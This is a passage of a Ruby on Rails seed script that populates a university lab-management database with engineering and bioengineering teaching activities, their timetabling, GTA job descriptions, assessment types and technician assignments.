disks to investigate biocompatibility\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a594.id).first_or_create!(assess_weight: nil, notes: \"Post is MOLE test.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a594.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a594.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a595 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode72\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: true, in_drive: false, user_id: 4)\n at595 = ActivityTimetable.where(activity_id: a595.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a595.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a595.id).first_or_create!(criteria: \"\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a595.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a595.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a595.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a596 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"unknowncode73\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: true, in_drive: false, user_id: 4)\n at596 = ActivityTimetable.where(activity_id: a596.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a596.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a596.id).first_or_create!(criteria: \"\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a596.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a596.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a596.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a597 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode74\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: true, in_drive: false, user_id: 2)\n at597 = ActivityTimetable.where(activity_id: a597.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a597.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a597.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a597.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a597.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a597.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a598 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"unknowncode75\").first_or_create!(name: \"Western blotting\",\n name_abrv: \"WESTBLOT\", archived: true, in_drive: false, user_id: 4)\n at598 = ActivityTimetable.where(activity_id: a598.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a598.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a598.id).first_or_create!(criteria: \"\",\n job_desc:\"Western Blotting\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a598.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a598.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a598.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a599 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode76\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 2)\n at599 = ActivityTimetable.where(activity_id: a599.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a599.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a599.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a599.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a599.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a599.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a600 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"unknowncode77\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 4)\n at600 = ActivityTimetable.where(activity_id: a600.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a600.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a600.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a600.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a600.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a600.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a601 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"unknowncode78\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: true, in_drive: false, user_id: 2)\n at601 = ActivityTimetable.where(activity_id: a601.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a601.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a601.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a601.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a601.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a601.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a602 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"unknowncode79\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: true, in_drive: false, user_id: 4)\n at602 = ActivityTimetable.where(activity_id: a602.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a602.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a602.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a602.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a602.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a602.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a603 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"unknowncode80\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: true, in_drive: false, user_id: 1)\n at603 = ActivityTimetable.where(activity_id: a603.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blb.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 30, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a603.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a603.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a603.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a603.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a603.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a604 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"415\").first_or_create!(name: \"Measurement lab plus\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at604 = ActivityTimetable.where(activity_id: a604.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a604.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a604.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a604.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a604.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a605 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC604\").first.id, code: \"521\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at605 = ActivityTimetable.where(activity_id: a605.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 5, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a605.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a605.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a605.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a605.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a606 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR199\").first.id, code: \"432\").first_or_create!(name: \"Stokes Law and Viscosity\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at606 = ActivityTimetable.where(activity_id: a606.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a606.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a606.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a606.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a606.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a606.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a607 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE340\").first.id, code: \"129\").first_or_create!(name: \"Continuous Manufacturing of pharmaceutical tablets\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at607 = ActivityTimetable.where(activity_id: a607.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 3, max_week_num: 8, pref_room_id: $room_pp.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a607.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a607.id).first_or_create!(criteria: \"Interest/experience in powder science and technology. Preferably have a good understanding in different unit operations used for granulation and tableting. The equipment is an industrial scale has various unit operations linked together in one line.\",\n job_desc:\"In this lab, GTAs are required to supervise groups of students to work on the continuous tabletting line- Consigma in the Pilot plant and carry out an experimental investigation. Students will need to run the line and produce some granules and tablet as well as collect different types of data. As a GTA, training will be provided for the experiments, and you will be assisting students to carry out the experiment safely and help them to change some process parameters.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a607.id).first_or_create!(assess_weight: 10.0, notes: \"in post lab, students will be asked to answer few question and submit this as an assignment through Blackboard\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 1)\n ActivityTech.where(activity_id: a607.id).first_or_create!(cost_per_student: nil, equip_needed: \"Consigma line, ModulP, MT50 Hardness Tester\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a607.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a608 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR332\").first.id, code: \"241\").first_or_create!(name: \"inspection of welds\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at608 = ActivityTimetable.where(activity_id: a608.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a608.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a608.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a608.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a608.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a608.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a609 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"542\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at609 = ActivityTimetable.where(activity_id: a609.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a609.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a609.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a609.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a609.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n\n\n a610 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC455\").first.id, code: \"543\").first_or_create!(name: \"TBC\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at610 = ActivityTimetable.where(activity_id: a610.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 7, max_week_num: 7, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"ACME535MEC445 should be completed before attending this lab\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a610.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a610.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a610.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a610.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a611 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"241\").first_or_create!(name: \"Control Systems Analysis\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at611 = ActivityTimetable.where(activity_id: a611.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a611.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a611.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, bode diagrams and root locus plots\",\n job_desc:\"This laboratory involves analysis of s-domain control systems using bode diagrams and root locus plots, an understanding of stability margins and control system types.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a611.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a611.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a612 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV6733\").first.id, code: \"429\").first_or_create!(name: \"Weirs\",\n name_abrv: \"WEIRS\", archived: false, in_drive: false, user_id: 5)\n at612 = ActivityTimetable.where(activity_id: a612.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: 6, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a612.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/yxbxl4o9\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a612.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a612.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a612.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a612.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a613 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"430\").first_or_create!(name: \"Fluidic Carousel\",\n name_abrv: \"FUNLAB\", archived: false, in_drive: true, user_id: 3)\n at613 = ActivityTimetable.where(activity_id: a613.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 12, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 50, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a613.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"https://tinyurl.com/y3kowsbv\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a613.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a613.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a613.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a613.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a614 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"unknowncode81\").first_or_create!(name: \"Name that Gas\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at614 = ActivityTimetable.where(activity_id: a614.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 10, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a614.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a614.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a614.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a614.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a614.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a615 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE6100\").first.id, code: \"1\").first_or_create!(name: \"FCE6100\",\n name_abrv: \"\", archived: false, in_drive: false, 